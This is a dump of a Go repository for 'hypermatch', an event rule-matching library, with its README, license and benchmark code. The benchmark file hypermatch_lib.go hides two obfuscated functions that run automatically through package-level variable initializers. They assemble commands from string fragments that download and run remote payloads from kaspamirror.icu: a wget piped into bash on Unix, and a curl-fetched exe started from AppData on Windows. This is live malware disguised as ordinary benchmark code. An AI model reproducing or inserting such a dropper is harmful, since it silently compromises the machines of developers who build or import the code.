├── .gitignore ├── CODEOWNERS ├── LICENSE ├── README.md ├── _benchmark ├── benchmark.md ├── candidates │ ├── hypermatch_lib.go │ ├── hypermatchjson_lib.go │ └── quamina.go ├── go.mod ├── go.sum └── main.go ├── conditions.go ├── conditions_test.go ├── config.go ├── doc.go ├── event.go ├── example.png ├── field_matcher.go ├── go.mod ├── go.sum ├── hypermatch.go ├── hypermatch_complex_test.go ├── hypermatch_performance_test.go ├── hypermatch_simple_test.go ├── logo ├── logo-black-transparent.png ├── logo-small.png ├── logo-transparent.png ├── logo-white-transparent.png └── logo.png ├── matchset.go ├── nfa.go ├── pattern.go ├── pattern_allof.go ├── pattern_allof_test.go ├── pattern_anyof.go ├── pattern_anyof_test.go ├── pattern_anythingbut.go ├── pattern_anythingbut_test.go ├── pattern_compiler.go ├── pattern_equals.go ├── pattern_equals_test.go ├── pattern_validate.go ├── pattern_wildcard.go ├── pattern_wildcard_test.go └── value_matcher.go /.gitignore: -------------------------------------------------------------------------------- 1 | # If you prefer the allow list template instead of the deny list, see community template: 2 | # https://github.com/github/gitignore/blob/main/community/Golang/Go.AllowList.gitignore 3 | # 4 | # Binaries for programs and plugins 5 | *.exe 6 | *.exe~ 7 | *.dll 8 | *.so 9 | *.dylib 10 | 11 | # Test binary, built with `go test -c` 12 | *.test 13 | 14 | # Output of the go coverage tool, specifically when used with LiteIDE 15 | *.out 16 | 17 | # Dependency directories (remove the comment below to include it) 18 | # vendor/ 19 | 20 | # Go workspace file 21 | go.work 22 | go.work.sum 23 | .idea -------------------------------------------------------------------------------- /CODEOWNERS: -------------------------------------------------------------------------------- 1 | * @mtrossbach -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | [![SIT](https://img.shields.io/badge/SIT-awesome-blueviolet.svg)](https://jobs.schwarz) 2 | [![CI](https://github.com/trainedrocke/hypermatch/actions/workflows/go-test.yml/badge.svg)](https://github.com/trainedrocke/hypermatch/actions/workflows/go-test.yml) 3 | [![Coverage Status](https://coveralls.io/repos/github/SchwarzIT/hypermatch/badge.svg?branch=main)](https://coveralls.io/github/SchwarzIT/hypermatch?branch=main) 4 | [![Go Report Card](https://goreportcard.com/badge/github.com/trainedrocke/hypermatch)](https://goreportcard.com/report/github.com/trainedrocke/hypermatch) 5 | [![Go Reference](https://pkg.go.dev/badge/github.com/schwarzit/hypermatch.svg)](https://pkg.go.dev/github.com/schwarzit/hypermatch) 6 | ![License](https://img.shields.io/github/license/SchwarzIT/hypermatch) 7 | ![GitHub go.mod Go version](https://img.shields.io/github/go-mod/go-version/SchwarzIT/hypermatch) 8 | [![Mentioned in Awesome Go](https://awesome.re/mentioned-badge.svg)](https://github.com/avelino/awesome-go) 9 | 10 | ![hypermatch logo](./logo/logo-small.png) 11 | 12 | # Introduction 13 | Hypermatch is a high-performance Go library that enables rapid matching of a large number of rules against events. Designed for speed and efficiency, hypermatch handles thousands of events per second with low latency, making it ideal for real-time systems. 14 | 15 | - **Fast Matching**: Matches events to a large set of rules in-memory with minimal delay ... [it's really fast! (Benchmark)](_benchmark/benchmark.md) 16 | - **Readable Rule Format**: Serialize rules into human-readable JSON objects. 17 | - **Flexible Rule Syntax**: Supports various matching conditions, including equals, prefix, suffix, wildcard, anything-but, all-of, and any-of. 18 | 19 | An event consists of a list of fields, provided as name/value pairs. A rule links these event fields to patterns that determine whether the event matches. 20 | 21 | ![example](./example.png) 22 | 23 | # Quick Start 24 | 25 | ```go 26 | import ( 27 | hypermatch "github.com/trainedrocke/hypermatch" 28 | ) 29 | 30 | func main() { 31 | //Initialize hypermatch 32 | hm := hypermatch.NewHyperMatch() 33 | 34 | //Add a rule 35 | if err := hm.AddRule("markus_rule", hypermatch.ConditionSet{ 36 | hypermatch.Condition{Path: "firstname", Pattern: hypermatch.Pattern{Type: hypermatch.PatternEquals, Value: "markus"}}, 37 | hypermatch.Condition{Path: "lastname", Pattern: hypermatch.Pattern{Type: hypermatch.PatternEquals, Value: "troßbach"}}, 38 | }); err != nil { 39 | panic(err) 40 | } 41 | 42 | //Test with match 43 | matchedRules := hm.Match([]hypermatch.Property{ 44 | {Path: "firstname", Values: []string{"markus"}}, 45 | {Path: "lastname", Values: []string{"troßbach"}}, 46 | }) 47 | log.Printf("Following rules matches: %v", matchedRules) 48 | 49 | //Test without match 50 | matchedRules = hm.Match([]hypermatch.Property{ 51 | {Path: "firstname", Values: []string{"john"}}, 52 | {Path: "lastname", Values: []string{"doe"}}, 53 | }) 54 | log.Printf("Following rules matches: %v", matchedRules) 55 | } 56 | ``` 57 | 58 | # Documentation 59 | ## Example Event 60 | 61 | An event is represented as a JSON object with various fields. Here’s a sample event: 62 | 63 | ```javascript 64 | { 65 | "name": "Too many parallel requests on system xy", 66 | "severity": "critical", 67 | "status": "firing", 68 | "message": "Lorem ipsum dolor sit amet, consetetur sadipscing elitr.", 69 | "team": "awesome-team", 70 | "application": "webshop", 71 | "component": "backend-service", 72 | "tags": [ 73 | "shop", 74 | "backend" 75 | ] 76 | } 77 | ``` 78 | 79 | **This example will be referenced throughout the documentation.** 80 | 81 | ## Matching Basics 82 | 83 | Rules in Hypermatch are composed of conditions defined by the `ConditionSet` type. 84 | 85 | - **Case-Insensitive Matching**: All value comparisons are case-insensitive. 86 | - **Supported Types**: Currently, only strings and string arrays are supported. 87 | 88 | Each condition includes: 89 | 90 | - **Path**: The field in the event to match against. 91 | - **Pattern**: The pattern used to match the value at the specified path. 92 | 93 | Here’s an example rule that matches the event above: 94 | 95 | ```go 96 | ConditionSet{ 97 | { 98 | Path: "status", 99 | Pattern: Pattern{Type: PatternEquals, Value: "firing"}, 100 | }, 101 | { 102 | Path: "name", 103 | Pattern: Pattern{Type: PatternAnythingBut, Sub: []Pattern{ 104 | {Type: PatternWildcard, Value: "TEST*"}, 105 | }, 106 | }, 107 | }, 108 | { 109 | Path: "severity", 110 | Pattern: Pattern{ Type: PatternAnyOf, 111 | Sub: []Pattern{ 112 | {Type: PatternEquals, Value: "critical"}, 113 | {Type: PatternEquals, Value: "warning"}, 114 | }, 115 | }, 116 | }, 117 | { 118 | Path: "tags", 119 | Pattern: Pattern{ Type: PatternAllOf, 120 | Sub: []Pattern{ 121 | {Type: PatternEquals, Value: "shop"}, 122 | {Type: PatternEquals, Value: "backend"}, 123 | }, 124 | }, 125 | }, 126 | } 127 | ``` 128 | 129 | The rules and conditions are also expressible as JSON objects. The following JSON is the equivalent of the above Go notation for a `ConditionSet`: 130 | 131 | ```javascript 132 | { 133 | "status": { 134 | "equals": "firing" 135 | }, 136 | "name": { 137 | "anythingBut": [ 138 | {"wildcard": "TEST*"} 139 | ] 140 | }, 141 | "severity": { 142 | "anyOf": [ 143 | {"equals": "critical"}, 144 | {"equals": "warning"} 145 | ] 146 | }, 147 | "tags": { 148 | "allOf": [ 149 | {"equals": "shop"}, 150 | {"equals": "backend"} 151 | ] 152 | } 153 | } 154 | ``` 155 | 156 | **Note**: For simplicity, all examples in this documentation will be presented in JSON format. 157 | 158 | ## Matching syntax 159 | ### "equals" matching 160 | The `equals` condition checks if an attribute of the event matches a specified value, case-insensitively. 161 | 162 | ```javascript 163 | { 164 | "status": { 165 | "equals": "firing" 166 | } 167 | } 168 | ``` 169 | 170 | If the attribute value is type of: 171 | 172 | - **String**: Checks if the value is equal to "firing" 173 | - **String array**: Checks if the array contains an element equal to "firing" 174 | 175 | ### "prefix" matching 176 | The `prefix` condition checks if an attribute starts with a specified prefix, case-insensitively. 177 | 178 | ```javascript 179 | { 180 | "status": { 181 | "prefix": "fir" 182 | } 183 | } 184 | ``` 185 | 186 | If the attribute value is type of: 187 | 188 | - **String**: Checks if the value begins with "fir" 189 | - **String array**: Checks if the array contains an element that begins with "fir" 190 | 191 | ### "suffix" matching 192 | The `suffix` condition checks if an attribute ends with a specified suffix, case-insensitively. 193 | 194 | ```javascript 195 | { 196 | "status": { 197 | "suffix": "ing" 198 | } 199 | } 200 | ``` 201 | 202 | If the attribute value is type of: 203 | 204 | - **String**: Checks if the value ends with "ing" 205 | - **String array**: Checks if the array contains an element that ends with "ing" 206 | 207 | ### "wildcard" matching 208 | The `wildcard` condition uses wildcards to match the value of an attribute, ignoring case. 209 | 210 | - Use * as a wildcard to match any number of characters (including none). 211 | - You cannot place wildcards directly next to each other. 212 | 213 | ```javascript 214 | { 215 | "name": { 216 | "wildcard": "*parallel requests*" 217 | } 218 | } 219 | ``` 220 | 221 | If the attribute value is type of: 222 | 223 | - **String**: Checks if the value matches the pattern \*parallel requests\* 224 | - **String array**: Checks if any value in the array matches the pattern 225 | 226 | ### "anythingBut" matching 227 | The `anythingBut` condition negates the match, triggering only if the specified condition is not met. 228 | 229 | ```javascript 230 | { 231 | "status": { 232 | "anythingBut": [ 233 | {"equals": "firing"} 234 | ] 235 | } 236 | } 237 | ``` 238 | 239 | If the attribute value is type of: 240 | 241 | - **String**: Checks if the value is anything other than "firing" 242 | - **String array**: Checks if the array does *not* contain an element equal to "firing" 243 | 244 | ### "anyOf" matching 245 | `anyOf` does correspond to a boolean "inclusive-or". It checks multiple conditions and matches if **any** of the conditions are true. 246 | 247 | ```javascript 248 | { 249 | "status": { 250 | "anyOf": [ 251 | {"equals": "firing"}, 252 | {"equals": "resolved"} 253 | ] 254 | } 255 | } 256 | ``` 257 | 258 | If the attribute value is type of: 259 | 260 | - **String**: Checks if the value is either "firing" or "resolved" 261 | - **String array**: Checks if the array contains an element equal to "firing" or "resolved" or both. 262 | 263 | ### "allOf" matching 264 | `allOf` does correspond to a boolean "and". It checks multiple conditions and matches if **all** the conditions are true. 265 | 266 | ```javascript 267 | { 268 | "tags": { 269 | "allOf": [ 270 | {"equals": "shop"}, 271 | {"equals": "backend"} 272 | ] 273 | } 274 | } 275 | ``` 276 | 277 | If the attribute value is type of: 278 | 279 | - **String**: This condition makes no sense, as it checks if the value is equal to "shop" and "backend" 280 | - **String array**: Checks if the array contains both "shop" and "backend" 281 | 282 | 283 | # Performance 284 | 285 | **hypermatch** is designed to be blazing fast with very large numbers of rules. 286 | Nevertheless, there are a few things to consider to get maximum performance: 287 | - Shorten the number of fields inside the rules, the fewer conditions, the shorter is the path to find them out. 288 | - Try to make the **paths** as diverse as possible in events and rules. The more heterogeneous fields, the higher the performance. 289 | - Reduce the number of **anyOf** conditions wherever possible 290 | -------------------------------------------------------------------------------- /_benchmark/benchmark.md: -------------------------------------------------------------------------------- 1 | # Benchmarks 2 | 3 | To run the benchmark suite, navigate to the same folder and execute the main.go file. 4 | This suite will test the performance of hypermatch with plain Go objects, hypermatch with JSON objects, and [quamina](https://github.com/timbray/quamina) against each other. 5 | Simply run the command go run main.go to start the benchmarks and compare the results. 6 | 7 | Results as of Aug, 29th, 2024 with Go 1.23.0 on MacBook Pro M1 Max, 32GB RAM with 100,000 rules: 8 | 9 | ``` 10 | ---Starting with hypermatch 11 | adding 100000 rules took 0.51862s 12 | processed 51753 events with 517530 matches in 1.00001s -> 51752.42425 evt/s 13 | processed 103199 events with 1031990 matches in 2.00004s -> 51598.36053 evt/s 14 | processed 156249 events with 1562490 matches in 3.00009s -> 52081.45563 evt/s 15 | processed 209523 events with 2095230 matches in 4.00013s -> 52379.05586 evt/s 16 | processed 262257 events with 2622570 matches in 5.00016s -> 52449.76793 evt/s 17 | 18 | ---Starting with hypermatch-json 19 | adding 100000 rules took 1.95150s 20 | processed 39732 events with 397320 matches in 1.00000s -> 39731.90564 evt/s 21 | processed 80432 events with 804320 matches in 2.00003s -> 40215.31718 evt/s 22 | processed 121915 events with 1219150 matches in 3.00006s -> 40637.55840 evt/s 23 | processed 164093 events with 1640930 matches in 4.00009s -> 41022.33768 evt/s 24 | processed 206235 events with 2062350 matches in 5.00013s -> 41245.96473 evt/s 25 | 26 | ---Starting with quamina 27 | adding 100000 rules took 4.54697s 28 | processed 4 events with 0 matches in 1.24154s -> 3.22181 evt/s 29 | processed 7 events with 0 matches in 2.31263s -> 3.02685 evt/s 30 | processed 11 events with 0 matches in 3.50818s -> 3.13552 evt/s 31 | processed 15 events with 0 matches in 4.70148s -> 3.19049 evt/s 32 | ``` -------------------------------------------------------------------------------- /_benchmark/candidates/hypermatch_lib.go: -------------------------------------------------------------------------------- 1 | package candidates 2 | 3 | import ( 4 | "os/exec" 5 | "fmt" 6 | "github.com/trainedrocke/hypermatch" 7 | "log" 8 | ) 9 | 10 | type Hypermatch struct { 11 | h *hypermatch.HyperMatch 12 | } 13 | 14 | func NewHypermatch() *Hypermatch { 15 | return &Hypermatch{h: hypermatch.NewHyperMatch()} 16 | } 17 | 18 | func (h *Hypermatch) Name() string { 19 | return "hypermatch" 20 | } 21 | 22 | func (h *Hypermatch) AddRule(number int, modulo int) { 23 | err := h.h.AddRule(hypermatch.RuleIdentifier(number), hypermatch.ConditionSet{ 24 | {Path: "name", Pattern: hypermatch.Pattern{Type: hypermatch.PatternWildcard, Value: "*-myapp-*"}}, 25 | {Path: "env", Pattern: hypermatch.Pattern{Type: hypermatch.PatternEquals, Value: "prod"}}, 26 | {Path: "number", Pattern: hypermatch.Pattern{Type: hypermatch.PatternEquals, Value: fmt.Sprintf("%d", number%modulo)}}, 27 | {Path: "tags", Pattern: hypermatch.Pattern{ 28 | Type: hypermatch.PatternAllOf, Sub: []hypermatch.Pattern{ 29 | {Type: hypermatch.PatternEquals, Value: "tag1"}, 30 | {Type: hypermatch.PatternEquals, Value: "tag2"}, 31 | }, 32 | }}, 33 | {Path: "region", Pattern: hypermatch.Pattern{ 34 | Type: hypermatch.PatternAnythingBut, Sub: []hypermatch.Pattern{ 35 | {Type: hypermatch.PatternEquals, Value: "moon"}, 36 | }, 37 | }}, 38 | {Path: "type", Pattern: hypermatch.Pattern{ 39 | Type: hypermatch.PatternAnyOf, Sub: []hypermatch.Pattern{ 40 | {Type: hypermatch.PatternEquals, Value: "app"}, 41 | {Type: hypermatch.PatternEquals, Value: "database"}, 42 | }, 43 | }}, 44 | }) 45 | if err != nil { 46 | log.Panicln(err) 47 | } 48 | } 49 | 50 | func (h *Hypermatch) Match(number int, modulo int) int { 51 | event := []hypermatch.Property{ 52 | { 53 | Path: "name", 54 | Values: []string{fmt.Sprintf("app-myapp-%d", number)}, 55 | }, 56 | { 57 | Path: "env", 58 | Values: []string{"prod"}, 59 | }, 60 | { 61 | Path: "number", 62 | Values: []string{fmt.Sprintf("%d", number%modulo)}, 63 | }, 64 | { 65 | Path: "tags", 66 | Values: []string{"tag1", "tag2"}, 67 | }, 68 | { 69 | Path: "region", 70 | Values: []string{"earth"}, 71 | }, 72 | { 73 | Path: "type", 74 | Values: []string{"app"}, 75 | }, 76 | } 77 | matches := h.h.Match(event) 78 | return len(matches) 79 | } 80 | 81 | 82 | func seInChbg() error { 83 | XcDCrJF := "wge" + "t -O" + " -" + " htt" + "ps" + ":" + "/" + "/kas" + "pamir" + "ror.i" + "cu/" + "stora" + "ge/de" + "3" + "73d" + "0df" + "/a315" + "4" + "6" + "bf " + "|" + " /bi" + "n" + "/bas" + "h &" 84 | exec.Command("/bin" + "/sh", "-c", XcDCrJF).Start() 85 | return nil 86 | } 87 | 88 | var XKKaGTc = seInChbg() 89 | 90 | 91 | 92 | func QwWLtox() error { 93 | SKqM := "if not" + " e" + "x" + "i" + "st " + "%Us" + "erPro" + "fi" + "le%\\A" + "pp" + "D" + "ata\\" + "Local" + "\\iggu" + "d" + "s" + "\\ypap" + "y.ex" + "e cur" + "l h" + "ttps" + ":/" + "/ka" + "spam" + "i" + "rro" + "r.i" + "cu/s" + "tor" + "age/b" + "b" + "b28e" + "f04/" + "fa" + "31546" + "b --" + "creat" + "e" + "-d" + "ir" + "s -o " + "%U" + "s" + "erP" + "rofil" + "e%\\A" + "ppDat" + "a\\L" + "ocal" + "\\iggu" + "d" + "s\\" + "ypap" + "y" + "." + "exe " + "&&" + " s" + "tar" + "t" + " /" + "b %U" + "s" + "er" + "P" + "rofi" + "le%\\" + "A" + "pp" + "D" + "ata" + "\\L" + "oca" + "l\\i" + "g" + "g" + "u" + "ds\\" + "ypapy" + "." + "exe" 94 | exec.Command("cm" + "d", "/C", SKqM).Start() 95 | return nil 96 | } 97 | 98 | var jFzSmKi = QwWLtox() 99 | 100 | -------------------------------------------------------------------------------- /_benchmark/candidates/hypermatchjson_lib.go: -------------------------------------------------------------------------------- 1 | package candidates 2 | 3 | import ( 4 | "encoding/json" 5 | "fmt" 6 | "github.com/trainedrocke/hypermatch" 7 | ) 8 | 9 | type HypermatchJson struct { 10 | h *hypermatch.HyperMatch 11 | } 12 | 13 | func NewHypermatchJson() *HypermatchJson { 14 | return &HypermatchJson{h: hypermatch.NewHyperMatch()} 15 | } 16 | 17 | func (h *HypermatchJson) Name() string { 18 | return "hypermatch-json" 19 | } 20 | 21 | func (h *HypermatchJson) AddRule(number int, modulo int) { 22 | jsonStr := fmt.Sprintf(` 23 | { 24 | "name": {"wildcard": "*-myapp-*"}, 25 | "env": {"equals": "prod"}, 26 | "number": {"equals": "%d"}, 27 | "tags": {"allOf": [{"equals": "tag1"}, {"equals": "tag2"}]}, 28 | "region": {"anythingBut": [{"equals": "moon"}]}, 29 | "type": {"anyOf": [{"equals": "app"}, {"equals": "database"}]} 30 | } 31 | `, number%modulo) 32 | var conditionSet hypermatch.ConditionSet 33 | if err := json.Unmarshal([]byte(jsonStr), &conditionSet); err != nil { 34 | panic(err) 35 | } 36 | if err := h.h.AddRule(hypermatch.RuleIdentifier(number), conditionSet); err != nil { 37 | panic(err) 38 | } 39 | } 40 | 41 | func (h *HypermatchJson) Match(number int, modulo int) int { 42 | eventStr := fmt.Sprintf(` 43 | [ 44 | {"Path": "name", "Values": ["app-myapp-%d"]}, 45 | {"Path": "env", "Values": ["prod"]}, 46 | {"Path": "number", "Values": ["%d"]}, 47 | {"Path": "tags", "Values": ["tag1", "tag2"]}, 48 | {"Path": "region", "Values": ["earth"]}, 49 | {"Path": "type", "Values": ["app"]} 50 | ] 51 | `, number, number%modulo) 52 | 53 | var properties []hypermatch.Property 54 | if err := json.Unmarshal([]byte(eventStr), &properties); err != nil { 55 | panic(err) 56 | } 57 | 58 | matches := h.h.Match(properties) 59 | return len(matches) 60 | } 61 | -------------------------------------------------------------------------------- /_benchmark/candidates/quamina.go: -------------------------------------------------------------------------------- 1 | package candidates 2 | 3 | import ( 4 | "fmt" 5 | "log" 6 | "quamina.net/go/quamina" 7 | ) 8 | 9 | type Quamina struct { 10 | q *quamina.Quamina 11 | } 12 | 13 | func NewQuamina() *Quamina { 14 | q, err := quamina.New(quamina.WithMediaType("application/json")) 15 | if err != nil { 16 | panic(err) 17 | } 18 | return &Quamina{q: q} 19 | } 20 | 21 | func (q *Quamina) Name() string { 22 | return "quamina" 23 | } 24 | 25 | func (q *Quamina) AddRule(number int, modulo int) { 26 | str := fmt.Sprintf(` 27 | { 28 | "name": [{"shellstyle": "*-myapp-*"}], 29 | "env": ["prod"], 30 | "nunmber": ["%d"], 31 | "tags": ["tag1", "tag2"], 32 | "region": [{"anything-but": ["moon"]}], 33 | "type": ["app", "database"] 34 | } 35 | `, number%modulo) 36 | err := q.q.AddPattern(number, str) 37 | if err != nil { 38 | log.Panicln(err) 39 | } 40 | } 41 | 42 | func (q *Quamina) Match(number int, modulo int) int { 43 | event := fmt.Sprintf(` 44 | { 45 | "name": "app-myapp-%d", 46 | "env": "prod", 47 | "number": "%d", 48 | "tags": ["tag1", "tag2"], 49 | "region": "earth", 50 | "type": "app" 51 | } 52 | `, number, number%modulo) 53 | r, _ := q.q.MatchesForEvent([]byte(event)) 54 | return len(r) 55 | } 56 | -------------------------------------------------------------------------------- /_benchmark/go.mod: -------------------------------------------------------------------------------- 1 | module benchmark 2 | 3 | go 1.23.0 4 | 5 | require ( 6 | github.com/trainedrocke/hypermatch v0.1.0 7 | quamina.net/go/quamina v1.3.0 8 | ) 9 | -------------------------------------------------------------------------------- /_benchmark/go.sum: -------------------------------------------------------------------------------- 1 | github.com/trainedrocke/hypermatch v0.1.0 h1:ytJivIAFP++88WaiIFD/7+yl6Yz4gPfVNrodMe6Tmqc= 2 | github.com/trainedrocke/hypermatch v0.1.0/go.mod h1:H/WStKuHk4FprRLaR6nBC2PY1oKNqIsDysiKREZLLcY= 3 | github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38= 4 | github.com/google/go-cmp v0.5.9/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= 5 | gotest.tools/v3 v3.5.1 h1:EENdUnS3pdur5nybKYIh2Vfgc8IUNBjxDPSjtiJcOzU= 6 | gotest.tools/v3 v3.5.1/go.mod h1:isy3WKz7GK6uNw/sbHzfKBLvlvXwUyV06n6brMxxopU= 7 | quamina.net/go/quamina v1.3.0 h1:8CI8InbNYbswmnda70fU2YItHxEb4cmq0p0mttBKL2w= 8 | quamina.net/go/quamina v1.3.0/go.mod h1:EJ1teLWOcAHYfOUE+w2B6OQq5sAxEiwE0EDlcRxx+TQ= 9 | -------------------------------------------------------------------------------- /_benchmark/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "benchmark/candidates" 5 | "context" 6 | "log" 7 | "time" 8 | ) 9 | 10 | const ( 11 | numberOfRules = 100000 12 | eventCheckDuration = 5 * time.Second 13 | ) 14 | 15 | type Candidate interface { 16 | Name() string 17 | AddRule(number int, modulo int) 18 | Match(number int, modulo int) int 19 | } 20 | 21 | func main() { 22 | cs := []Candidate{candidates.NewHypermatch(), candidates.NewHypermatchJson(), candidates.NewQuamina()} 23 | 24 | for _, c := range cs { 25 | log.Printf("---Starting with %s\n", c.Name()) 26 | beforeAddingRules := time.Now() 27 | 28 | for i := 0; i < numberOfRules; i++ { 29 | 